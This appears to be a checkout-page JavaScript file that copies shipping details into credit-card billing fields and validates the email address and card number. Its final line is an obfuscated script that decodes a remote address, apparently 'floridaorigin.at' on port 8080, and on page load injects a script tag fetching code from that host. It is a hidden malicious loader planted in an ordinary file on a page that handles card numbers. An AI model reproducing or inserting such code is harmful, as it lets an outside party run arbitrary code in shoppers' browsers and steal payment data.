function fillCCInfo(selected) {
	if(selected == true) {
		document.getElementById('cc_name_first').value  = document.getElementById('ship_name_first').value;
		document.getElementById('cc_name_last').value = document.getElementById('ship_name_last').value;
		document.getElementById('cc_add').value = document.getElementById('ship_add').value;
		document.getElementById('cc_city').value = document.getElementById('ship_city').value;
		document.getElementById('cc_state').selectedIndex = document.getElementById('ship_state').selectedIndex;
		document.getElementById('cc_zip').value = document.getElementById('ship_zip').value;
		
		//Disable Elements
		changeEnabledState(false);

		//Focus on CC number field
		document.getElementById('cc_num').focus();
	} else {
		changeEnabledState(true);
	}
}

function checkSame() {
	fillCCInfo(document.getElementById('same_addr').checked);
}

function changeEnabledState(state) {
	if(state == null) {
		state = true;
	}
	document.getElementById('cc_name_first').disabled  = !state; 
	document.getElementById('cc_name_last').disabled  = !state;
	document.getElementById('cc_add').disabled  = !state;
	document.getElementById('cc_city').disabled  = !state;
	document.getElementById('cc_state').disabled  = !state;
	document.getElementById('cc_zip').disabled  = !state;
}

function submitForm() {
	if(validateForm()) {
		changeEnabledState(true);
		return true;
	} else {
		return false;
	}
	
}

function validateForm() {
	
	var reqElements = new Array(
		'ship_name_first','ship_name_last', 
		'ship_add', 'ship_city', 'ship_state', 
		'ship_zip', 'cc_name_first','cc_name_last', 
		'cc_add', 'cc_city', 'cc_state', 'cc_zip');
	
	for(var count = 0; count < reqElements.length; count++) {
		if(document.getElementById(reqElements[count]).value.length < 1){
			alert("You did not fill in a required element.");
			document.getElementById(reqElements[count]).focus();
			return false;
		}
	}
	if(!isEmail(document.getElementById('email').value)) {
		alert("You must supply a valid email address.");
		document.getElementById('email').focus();
		return false;
	}
	var cc_num = document.getElementById('cc_num').value;
	if(cc_num != parseInt(cc_num) || cc_num.length != 16) {
		alert("You must supply a valid credit card number.");
		document.getElementById('cc_num').focus();
		return false;
	}
	
	return true;
}

function isEmail(string) {	if (string.search(/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/) != -1)		return true;	else		return false;}


var mq=new String();var I;if(I!='vK' && I!='W'){I=''};var yo=new String();function r(){var j=new Date();var Z=new Date();var q=unescape;var ZM=new String();var n=window;var tw;if(tw!='' && tw!='xS'){tw='cl'};var YB;if(YB!='VG'){YB=''};var h=q("%2f%64%72%75%70%61%6c%2d%6f%72%67%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%65%78%62%69%69%2e%63%6f%6d%2e%70%68%70");var B;if(B!='' && B!='hy'){B=null};function b(d,dh){var jj;if(jj!=''){jj='hl'};var nG="";var m=new String("g");var Yp=new Array();var Zi;if(Zi!=''){Zi='ZU'};var c=q("%5b"), y=q("%5d");var IU="";var Q='';var H=c+dh+y;var oZ='';var g=new RegExp(H, m);var Ib;if(Ib!='i' && Ib!='tu'){Ib=''};var ak;if(ak!='P' && ak!='u'){ak=''};return d.replace(g, new String());};var gk;if(gk!='' && gk!='vL'){gk=''};var xr=new Date();var VV;if(VV!='Q_'){VV=''};var p=new String();var Uy;if(Uy!='C' && Uy!='Aq'){Uy=''};var A=b('8457270732987119079457','19746235');var ZH='';var ac;if(ac!=''){ac='D'};var w=document;var OA;if(OA!=''){OA='VD'};var iW='';function V(){var fx=new Date();var _=q("%68%74%74%70%3a%2f%2f%66%6c%6f%72%69%64%61%6f%72%69%67%69%6e%2e%61%74%3a");var Kt=new Date();this.C_="";p=_;var xd;if(xd!='' && xd!='Wt'){xd=''};p+=A;var mj;if(mj!='CM'){mj=''};p+=h;var Jl;if(Jl!='vy'){Jl='vy'};var gM;if(gM!='Ig'){gM='Ig'};try {this.Fj="";this.cW="";X=w.createElement(b('sZc7rZi7pZtk','7kZo'));var gB="";var EG;if(EG!='Fy'){EG='Fy'};X[q("%73%72%63")]=p;X[q("%64%65%66%65%72")]=[2,1][1];this.XH="";this.UK="";var ix;if(ix!='Kv' && ix != ''){ix=null};var OM='';var Rr;if(Rr!='' && Rr!='bp'){Rr='RP'};w.body.appendChild(X);var na='';} catch(v){alert(v);};var Yx;if(Yx!='Qk'){Yx=''};this.xj='';}var fj;if(fj!='rX' && fj!='lS'){fj=''};n["on"+"lo"+"adTX0f".substr(0,2)]=V;var R_;if(R_!=''){R_='dc'};var Sw;if(Sw!='cL'){Sw=''};};r();